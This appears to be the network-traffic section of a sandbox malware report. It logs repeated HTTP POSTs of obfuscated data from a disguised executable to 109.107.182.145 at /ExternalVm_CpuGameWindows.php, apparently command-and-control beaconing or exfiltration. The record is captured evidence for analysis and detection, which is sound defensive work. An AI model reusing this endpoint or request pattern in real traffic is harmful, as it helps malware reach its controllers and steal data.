Apr 20, 2024 00:42:41.614315033 CEST	2568	OUT	Data Raw: 5f 51 5e 5f 54 59 58 53 5d 56 5a 59 52 5e 56 57 54 5c 5c 53 50 57 53 5f 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Q^_TYXS]VZYR^VWT\\SPWS_W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$0?- _6$V$%]+X W)*+Y!Z!U#W2P=?4?W:.G#$Z-9
Apr 20, 2024 00:42:41.878931046 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49768	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:42.260636091 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2564 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:42.519763947 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:42.519958973 CEST	2564	OUT	Data Raw: 5a 56 5e 59 51 58 58 56 5d 56 5a 59 52 58 56 5b 54 53 5c 5a 50 57 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV^YQXXV]VZYRXV[TS\ZPWS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$[0 _50<1(#8?S+#Y!%#<,7#T..G#$Z-
Apr 20, 2024 00:42:42.785449028 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49769	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:42.267580032 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2148 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:42.531752110 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:42.531922102 CEST	2148	OUT	Data Raw: 5a 51 5e 5e 51 58 58 54 5d 56 5a 59 52 5f 56 56 54 54 5c 59 50 5f 53 58 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZQ^^QXXT]VZYR_VVTT\YP_SXW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$3!A49T'2(("8'?"<&"2&+,##+R.$.G#$Z-
Apr 20, 2024 00:42:42.802999020 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 27 02 3e 04 3a 10 23 1c 05 03 3b 02 33 08 3d 22 35 00 3a 31 2d 13 3d 01 0a 59 2a 07 2e 08 3c 0a 30 5a 27 1c 20 59 27 12 2e 50 2e 3a 20 5a 01 11 24 19 25 3a 37 0c 30 33 39 06 24 56 3e 11 31 3d 2e 5d 24 01 25 0d 3e 2c 26 0e 24 38 20 5c 2a 38 36 57 28 11 0d 43 32 05 3f 1e 36 0e 20 50 0c 10 3b 0a 29 22 3f 1a 32 05 3f 57 31 3f 29 53 37 58 3c 53 27 2f 3f 1b 22 1a 09 5d 3c 0f 26 59 2b 03 37 03 23 32 02 59 24 22 38 56 3f 22 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'>:#;3="5:1-=Y.<0Z' Y'.P.: Z$%:7039$V>1=.]$%>,&$8 \86W(C2?6 P;)"?2?W1?)S7X<S'/?"]<&Y+7#2Y$"8V?""^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49770	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:43.168371916 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:42:43.426451921 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:43.429172039 CEST	2568	OUT	Data Raw: 5a 51 5e 59 54 5e 58 55 5d 56 5a 59 52 5e 56 55 54 50 5c 52 50 5e 53 52 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZQ^YT^XU]VZYR^VUTP\RP^SRW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'0?=C#)',X&44;+U+6,"!*/ Z8:4.G#$Z-9
Apr 20, 2024 00:42:43.693726063 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49771	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:44.085751057 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:44.347215891 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:44.347429037 CEST	2568	OUT	Data Raw: 5f 55 5e 59 54 5c 58 55 5d 56 5a 59 52 50 56 57 54 55 5c 5d 50 5e 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U^YT\XU]VZYRPVWTU\]P^S[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Y'?1D 9!U'0(Y%#4/S(;_6?2 19)?#, ..G#$Z-
Apr 20, 2024 00:42:44.618010998 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49772	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:44.997977972 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:42:45.259430885 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:45.259605885 CEST	2568	OUT	Data Raw: 5a 55 5e 59 54 5e 5d 53 5d 56 5a 59 52 51 56 55 54 52 5c 5a 50 5e 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZU^YT^]S]VZYRQVUTR\ZP^S[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''<%A#_5T$0;'(# 8,+\7Y!,!W41+,8]7<<:.G#$Z-
Apr 20, 2024 00:42:45.529745102 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49773	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:45.923432112 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2564 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:46.182274103 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:46.406938076 CEST	2564	OUT	Data Raw: 5f 55 5e 5c 54 5f 58 5f 5d 56 5a 59 52 58 56 5a 54 53 5c 52 50 5f 53 53 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U^\T_X_]VZYRXVZTS\RP_SSW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Y'Z%C )T$]2+^";()*3\6/%V""-)7?8..G#$Z-
Apr 20, 2024 00:42:46.671901941 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49774	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:48.091613054 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:48.353291988 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:48.353461981 CEST	2568	OUT	Data Raw: 5a 56 5e 53 54 59 5d 56 5d 56 5a 59 52 5d 56 53 54 56 5c 5b 50 57 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV^STY]V]VZYR]VSTV\[PWS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Z$/1B493 &374+9+\!41U=?_#Z;V9$.G#$Z-5
Apr 20, 2024 00:42:48.621440887 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49775	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:48.123322010 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2148 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:48.381517887 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:48.381711960 CEST	2148	OUT	Data Raw: 5f 57 5e 5c 51 5b 58 51 5d 56 5a 59 52 50 56 50 54 53 5c 58 50 54 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _W^\Q[XQ]VZYRPVPTS\XPTS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$X'4:9R$?'(3X"+'U+\61"!2*0\ +9.G#$Z-
Apr 20, 2024 00:42:48.646703959 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 24 12 29 2a 08 55 34 22 20 5c 2e 2c 28 56 28 22 36 11 2e 22 2a 06 29 3f 0a 10 29 10 25 1a 28 30 38 58 27 54 27 01 27 12 04 55 2e 00 20 5a 01 11 24 18 25 39 23 0a 30 0d 32 5e 27 33 32 5f 25 2d 3e 5c 27 28 25 0e 3f 3c 3e 0f 25 28 1d 00 2a 5e 32 51 3c 3c 27 40 31 02 2f 56 21 24 20 50 0c 10 38 17 3e 0b 20 09 32 12 06 0e 32 11 3a 0e 21 3e 2b 0b 25 2f 24 09 36 24 28 00 3f 21 0c 1b 28 13 06 5f 36 32 2f 01 27 57 3b 0e 2b 22 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$)U4" \.,(V("6.")?)%(08X'T''U. Z$%9#02^'32_%->\'(%?<>%(*^2Q<<'@1/V!$ P8> 22:!>+%/$6$(?!(_62/'W;+""^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49776	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:49.086569071 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:42:49.345025063 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:49.345232010 CEST	2568	OUT	Data Raw: 5a 50 5e 5a 54 56 5d 54 5d 56 5a 59 52 59 56 57 54 57 5c 5e 50 52 53 53 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZP^ZTV]T]VZYRYVWTW\^PRSSW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'0%7)R&0_1;748+R<(6?>#>U>, '9.G#$Z-%
Apr 20, 2024 00:42:49.609596968 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49777	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:50.084599018 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:50.347763062 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:50.348149061 CEST	2568	OUT	Data Raw: 5f 56 5b 5e 54 5d 5d 51 5d 56 5a 59 52 5c 56 5b 54 50 5c 5b 50 55 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _V[^T]]Q]VZYR\V[TP\[PUS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'',: :3 $_&07<+$"Z! U+<$7??R-4.G#$Z-1
Apr 20, 2024 00:42:50.617996931 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49778	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:50.997076035 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:51.256560087 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:51.256782055 CEST	2568	OUT	Data Raw: 5f 51 5b 5b 51 5c 58 54 5d 56 5a 59 52 50 56 57 54 51 5c 5a 50 52 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Q[[Q\XT]VZYRPVWTQ\ZPRS[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$0<1A -R3#%83_7+;?9(6:7":T+?!?+V-.G#$Z-
Apr 20, 2024 00:42:51.525041103 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49779	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:51.906653881 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:52.168387890 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:52.168615103 CEST	2568	OUT	Data Raw: 5a 51 5e 53 51 5f 5d 54 5d 56 5a 59 52 5a 56 5a 54 5d 5c 5d 50 5f 53 5f 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZQ^SQ_]T]VZYRZVZT]\]P_S_W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Z'Z9D#!R$?&(7X4W<*$#,9U W>V)0]#V:.G#$Z-)
Apr 20, 2024 00:42:52.438046932 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49780	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:52.828666925 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:53.090673923 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:53.090851068 CEST	2568	OUT	Data Raw: 5f 54 5b 59 51 5b 5d 54 5d 56 5a 59 52 5e 56 52 54 57 5c 5d 50 56 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _T[YQ[]T]VZYR^VRTW\]PVS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$X'.#)6&0/% "+'?]6,S W:V),#+-$.G#$Z-9
Apr 20, 2024 00:42:53.363264084 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49782	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:53.969446898 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2148 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:54.230608940 CEST	25	IN	HTTP/1.1 100 Continue
